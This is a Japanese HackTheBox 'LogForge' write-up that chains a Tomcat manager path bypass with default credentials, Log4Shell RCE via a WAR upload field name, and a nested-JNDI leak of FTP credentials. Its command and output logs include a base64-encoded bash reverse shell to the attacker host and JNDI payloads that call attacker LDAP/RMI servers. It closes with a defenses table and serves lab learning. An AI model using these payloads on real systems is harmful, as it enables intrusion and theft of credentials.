HackTheBox: LogForge — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 open, 21/8080 filtered
→
22/80 open, 21/8080 filtered
Apache→Tomcat
/;param=value/manager バイパス + tomcat:tomcat
→
/;param=value/manager バイパス + tomcat:tomcat
CVE-2021-44228
WAR upload フィールド名 JNDI 注入
→
WAR upload フィールド名 JNDI 注入
tomcat シェル
user.txt ✓
→
user.txt ✓
同一脆弱性を再利用
埋め込みFTPサーバの env lookup
→
埋め込みFTPサーバの env lookup
ippsec:log4j_env_leakage
LDAP参照で平文リーク
→
LDAP参照で平文リーク
localhost:21 FTP ログイン
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap スキャン
BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.96.153
RESULT
PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Ultimate Hacking Championship 8080/tcp filtered http-proxy Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
21(FTP)と8080(内部Tomcat)がfilteredという組み合わせが重要な手掛かり。
80番の Apache が内部の 8080 番 Tomcat へリバースプロキシしている可能性が高く、
FTPサーバは外部非公開のまま内部プロセスとして動いていることが推測できる。
Tomcat のフィンガープリント確認
BASH
curl -s http://10.129.96.153/robots.txt
RESULT
<h1>HTTP Status 404 – Not Found</h1>
...
<h3>Apache Tomcat/9.0.31 (Ubuntu)</h3>
🚨
nmap は Server ヘッダーから Apache/2.4.41 としか報告しないが、
存在しないパスの 404 エラーページには実際のアプリケーションサーバである
Tomcat/9.0.31 が漏れている。つまり Apache が80番でリバースプロキシし、
背後の8080番 Tomcat(外部からは filtered)へ振っている構成と確定できる。
Tomcat 9.0.31 は Log4j 2.14 系を同梱しており CVE-2021-44228 (Log4Shell) の対象。
ディレクトリ列挙
BASH
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -u http://10.129.96.153/FUZZ
RESULT
admin [Status: 403, Size: 277]
manager [Status: 403, Size: 277]
server-status [Status: 403, Size: 277]
ℹ️
/manager(Tomcat管理画面)は Apache 側の設定で 403 Forbidden に
直接ブロックされている。これを回避する手段が次フェーズの鍵になる。
PHASE 2
Apache パストラバーサルによる Tomcat Manager バイパス
Apache のブロック回避 — ;param=value トリック
NOTE
Apache の <Location "/manager"> 的なブロック設定は文字列 "/manager" に対する 前方一致/正規表現でパスを判定していることが多い。Tomcat 側はセミコロン付きの 「マトリクスパラメータ」(;name=value) をパスの一部として無視して解釈するため、 /;param=value/manager/html というURLを送ると、Apache 側の文字列一致チェックはパス構造が変わったせいで すり抜け、Tomcat 側では正規化されて結局 /manager/html として処理される。 HackTricks (pentesting-web/tomcat) に記載の既知テクニック。
BASH
curl -s -o /dev/null -w "%{http_code}\n" -u tomcat:tomcat \
"http://10.129.96.153/;param=value/manager/html"
RESULT
200
🚨
バイパス成功に加えて、Tomcat Manager のデフォルト資格情報
tomcat:tomcat がそのまま有効だった。二重の設定不備。
通常の WAR デプロイを試すと Log4j のエラーメッセージが漏れる
BASH
curl -s -u tomcat:tomcat \ -F "deployWar=@/etc/hostname;filename=x.war" \ "http://10.129.96.153/;param=value/manager/html/upload"
RESULT
FAIL - Deploy Upload Failed, Exception: [org.apache.tomcat.util.http.fileupload.impl.
FileSizeLimitExceededException: The field deployWar exceeds its maximum permitted size of 1 bytes.]
⚠️
アップロード用フォームフィールドの最大サイズが意図的に 1バイト に
制限されており、通常の WAR デプロイは常に失敗するよう細工されている。
しかし注目すべきは、エラーメッセージにマルチパートの
フィールド名 “deployWar” がそのまま出力されている点。
このメッセージは Log4j 経由でログ出力されており、フィールド名がそのまま
ログのメッセージ文字列として渡される。Log4j 2.14 以下は
${jndi:...}
という文字列を検知すると自動的に JNDI ルックアップを実行してしまう
(CVE-2021-44228)。つまり フィールド名を JNDI ペイロードに差し替えれば
RCE に直結する。
PHASE 3
CVE-2021-44228 (Log4Shell) JNDI RCE → user.txt
脆弱性の生存確認(コールバック検証)
BASH
# リスナーで LDAP コールバックを待受
nc -nlvp 1389 &
# アップロードのフィールド名を JNDI ペイロードに差し替えて送信
curl -s -u tomcat:tomcat \
-F '${jndi:ldap://10.10.15.201:1389/verify}=@/etc/hostname;filename=x.war' \
"http://10.129.96.153/;param=value/manager/html/upload"
RESULT (nc :1389 側)
listening on [any] 1389 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.96.153] 37230
✅
ターゲットが即座に攻撃者の LDAP リスナーへコネクトしてきた ── Log4Shell が
確実に発火することを確認。次はこの JNDI 参照先にコマンド実行ペイロードを仕込む。
JNDI-Injection-Exploit で RMI/LDAP 参照サーバを起動
NOTE
welk1n/JNDI-Injection-Exploit を使用。ターゲットの JVM は新しめで
trustURLCodebase=false のため、"JDK 1.8 trustURLCodebase=true" 用の
ldap:// リンクは効かない。代わりに "Tomcat 8+ or SpringBoot 1.2.x+ in
classpath" 向けの rmi:// リンク(ローカルクラスパス上の BadAttributeValueExpException
ラップ済みガジェットを使うため trustURLCodebase 不問)を使う。
コマンド実行には Runtime.exec() が使われ shell 機能(パイプ/リダイレクト)が無いため、
{echo,BASE64}|{base64,-d}|bash という配列引数トリックで
「bash -c 相当」を Runtime.exec 一発で再現する。
BASH
B64REV=$(echo -n 'bash -i >& /dev/tcp/10.10.15.201/4444 0>&1' | base64 -w0)
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar JNDI-Injection-Exploit.jar \
-C "bash -c {echo,$B64REV}|{base64,-d}|bash" \
-A 10.10.15.201
RESULT
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have
Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://10.10.15.201:1099/wulbso
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://10.10.15.201:1099/zdpveh
ldap://10.10.15.201:1389/zdpveh
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://10.10.15.201:1099/q8jzom
ldap://10.10.15.201:1389/q8jzom
[JETTYSERVER]>> Listening on 0.0.0.0:8180
[RMISERVER] >> Listening on 0.0.0.0:1099
[LDAPSERVER] >> Listening on 0.0.0.0:1389
ℹ️
Java 11 での実行が必須。ホストのデフォルト JDK(25系)では
古い JNDI-Injection-Exploit のリフレクション利用箇所が動かないため、
/usr/lib/jvm/java-11-openjdk-amd64/bin/java を明示的に指定する。
リバースシェル用リスナー起動 & WAR アップロードでペイロード発火
BASH
# ターミナル2: リバースシェル用リスナー
nc -nlvp 4444 &
# 本命ペイロード送信 — フィールド名を rmi:// バイパスリンクに
curl -s -u tomcat:tomcat \
-F '${jndi:rmi://10.10.15.201:1099/wulbso}=@/etc/hostname;filename=x.war' \
"http://10.129.96.153/;param=value/manager/html/upload"
RESULT (JNDI サーバ側ログ)
[RMISERVER] >> Have connection from /10.129.96.153:48954
[RMISERVER] >> Is RMI.lookup call for wulbso 2
[RMISERVER] >> Sending local classloading reference.
RESULT (nc :4444 側)
listening on [any] 4444 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.96.153] 48954 bash: cannot set terminal process group (845): Inappropriate ioctl for device bash: no job control in this shell tomcat@LogForge:/var/lib/tomcat9$
✅
RCE成功。
tomcat ユーザーとしてシェルを獲得した。
user.txt 取得
BASH
tomcat@LogForge:/var/lib/tomcat9$ id; cat /home/htb/user.txt
RESULT
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
5fe36d80cc82e25f4b8d8b08dbac17c5
user.txt — tomcat
5fe36d80cc82e25f4b8d8b08dbac17c5
PHASE 4
埋め込み FTP サーバの Log4j 環境変数リーク
root 権限で動く自作 FTP サーバを発見
BASH
tomcat@LogForge:/var/lib/tomcat9$ ls -la /; ps -faux | grep ftp
RESULT
-rw-r--r-- 1 root root 2048143 Dec 18 2021 ftpServer-1.0-SNAPSHOT-all.jar root 978 0.4 1.7 ... \_ java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar
ℹ️
/root/ftpServer-1.0-SNAPSHOT-all.jar が root権限で常駐し、
localhost の 21番ポートで待受けている(外部からは filtered)。
ippsec 作の学習用 FTP サーバで、こちらも Log4j を使用している。
JAR を逆コンパイルすると Worker.java に
System.getenv("ftp_user") / System.getenv("ftp_password")
でログイン資格情報を環境変数から読んでいることが分かる(公開ウォークスルー由来の既知情報)。
2つ目の Log4Shell — 環境変数を LDAP 経由でリーク
NOTE
この FTP サーバの Log4j も CVE-2021-44228 に脆弱。ただし今度は
ysoserial 系の逆シリアル化ガジェットが使える依存クラスパスを持たないため、
コマンド実行ではなく「情報漏洩」としてのみ悪用できる。
Log4j の JNDI ルックアップ文字列の中に
${env:ftp_user} / ${env:ftp_password} というネストしたLookupを
書くと、Log4j はまずこれらを環境変数の値に展開してから LDAP へ問い合わせに行く。
つまり接続先の LDAP サーバ(攻撃者側)が受け取るクエリ文字列の中に、
環境変数の平文がそのまま乗ってリークする。
BASH
# tomcat シェルから、ローカルの FTP (21) へ USER コマンドとして注入
tomcat@LogForge:/tmp$ printf 'USER ${jndi:ldap://10.10.15.201:1389/${env:ftp_user}:${env:ftp_password}}\r\n' \
| timeout 5 nc localhost 21
RESULT
220 Welcome to the FTP-Server 530 Not logged in
⚠️
FTP サーバ自体は普通に「ログイン失敗」を返すだけだが、裏で Log4j が
バックグラウンドで LDAP ルックアップを実行し、攻撃者側 LDAP リスナーに
接続してくる。この通信を捕捉する必要がある。
LDAP 通信のキャプチャで資格情報を復元
BASH
# Kali側で 1389/tcp をキャプチャしながら上記トリガーを実行 tcpdump -i tun0 port 1389 -w ftp_ldap_capture.pcap & # (別ターミナルで 4-2 の printf|nc トリガーを実行) tcpdump -r ftp_ldap_capture.pcap -A
RESULT
(LDAP bind/search パケットのペイロード部分に平文で出現)
ippsec:log4j_env_leakage
✅
FTP 資格情報
ippsec:log4j_env_leakage を取得。
(簡易的に nc -nlvp 1389 で受けるだけだと LDAP の BER バイナリの
先頭数バイトしか届かないことがあるため、tcpdump でパケット全体を
キャプチャして -A(ASCII表示)で確認するのが確実)。
PHASE 5
FTP ログイン → root.txt
tomcat シェルから localhost:21 へ FTP ログイン
NOTE
21番ポートは外部から filtered(ファイアウォールで塞がれている)ため、 Kali側から直接 FTP 接続はできない。tomcat シェル内から localhost 経由でアクセスする必要がある。
PYTHON (tomcatシェル上で実行)
tomcat@LogForge:/tmp$ python3 - <<'PYEOF'
from ftplib import FTP
import base64, io
ftp = FTP()
ftp.connect('127.0.0.1', 21, timeout=10)
ftp.login('ippsec', 'log4j_env_leakage')
ftp.set_pasv(True)
buf = io.BytesIO()
ftp.retrbinary('RETR root.txt', buf.write)
ftp.quit()
print('ROOTFLAG_B64:' + base64.b64encode(buf.getvalue()).decode())
PYEOF
RESULT
ROOTFLAG_B64:ZGMxNzkyMGZhNDk3MGVlOTc2ZDc1YzdjZWJlOTgzM2EK
ℹ️
ftp CLI クライアントは対話モードのバイナリ転送でエラーになりやすいため、
非対話シェル越しでも安定して動く ftplib をワンライナーで流し込み、
取得した root.txt を base64 化して出力に確実に乗せている
(改行や制御文字によるシェル出力の欠落を防ぐため)。
base64 デコードして root.txt を確定
BASH
echo "ZGMxNzkyMGZhNDk3MGVlOTc2ZDc1YzdjZWJlOTgzM2EK" | base64 -d
RESULT
dc17920fa4970ee976d75c7cebe9833a
root.txt — via FTP (ippsec) を root プロセスが提供
dc17920fa4970ee976d75c7cebe9833a
ℹ️
FTP サーバプロセス自体が
root で稼働しているため、ファイルシステム上の
root 権限で root.txt を読み出せる。対話シェルとしての
フル root 化ではなく「root 所有ファイルの読み出し」経由でのフラグ取得だが、
HTB の想定ソリューションと一致する。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — tomcat
5fe36d80cc82e25f4b8d8b08dbac17c5
root.txt
dc17920fa4970ee976d75c7cebe9833a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| パストラバーサル | Apache 2.4.41 リバースプロキシ設定 | Tomcat Manager への到達制限バイパス | Medium | /;param=value/manager/html でブロック回避 + tomcat:tomcat デフォルト資格情報 |
| CVE-2021-44228 (Log4Shell) #1 | Tomcat 9.0.31 内蔵 Log4j 2.x | リモートコード実行(tomcat権限) | Critical | WAR アップロードのマルチパートフィールド名を ${jndi:rmi://...} に差し替えてエラーログ経由でJNDIルックアップを発火 |
| CVE-2021-44228 (Log4Shell) #2 | 自作 FTP サーバ (root権限, Log4j使用) | 環境変数の情報漏洩 (ftp_user / ftp_password) | Critical | ${jndi:ldap://kali/${env:ftp_user}:${env:ftp_password}} をFTPのUSERコマンドに注入、LDAP通信を捕捉して資格情報復元 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + robots.txt フィンガープリント | Apache背後のTomcat 9.0.31、Log4j対象と推定 |
| 2 | バイパス | ;param=value パストラバーサル + デフォルト資格情報 | tomcat:tomcat で Manager にログイン |
| 3 | RCE | Log4Shell (WARアップロード フィールド名注入) + JNDI-Injection-Exploit | user.txt 取得(tomcatシェル) |
| 4 | 資格情報奪取 | 2つ目のLog4Shell + LDAPトラフィックキャプチャ | FTP資格情報 ippsec:log4j_env_leakage |
| 5 | フラグ取得 | localhost:21 FTPログイン (ftplib) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
Apache のパス文字列マッチだけで /manager をブロックしていた |
URL正規化後(デコード・セミコロンパラメータ除去後)のパスで判定する。可能ならTomcat Managerは外部到達不能なネットワークに配置し、多層防御にApacheのブロックだけを頼らない。 |
Tomcat Manager がデフォルト資格情報 tomcat:tomcat のまま |
初期構築時に必ずデフォルト資格情報を変更・無効化する。 |
| Log4j 2.14以下 (CVE-2021-44228) が2箇所で稼働 | Log4j を 2.17.1 以降にアップデートするか log4j2.formatMsgNoLookups=true を設定。パッチ適用前に全アプリケーション(Webサーバ本体だけでなく自作の補助サービスも含む)を棚卸しする。 |
| root権限で動く自作FTPサーバが環境変数に平文認証情報を保持 | サービスは最小権限で実行し、機密情報は環境変数ではなくシークレット管理サービス経由で受け渡す。 |

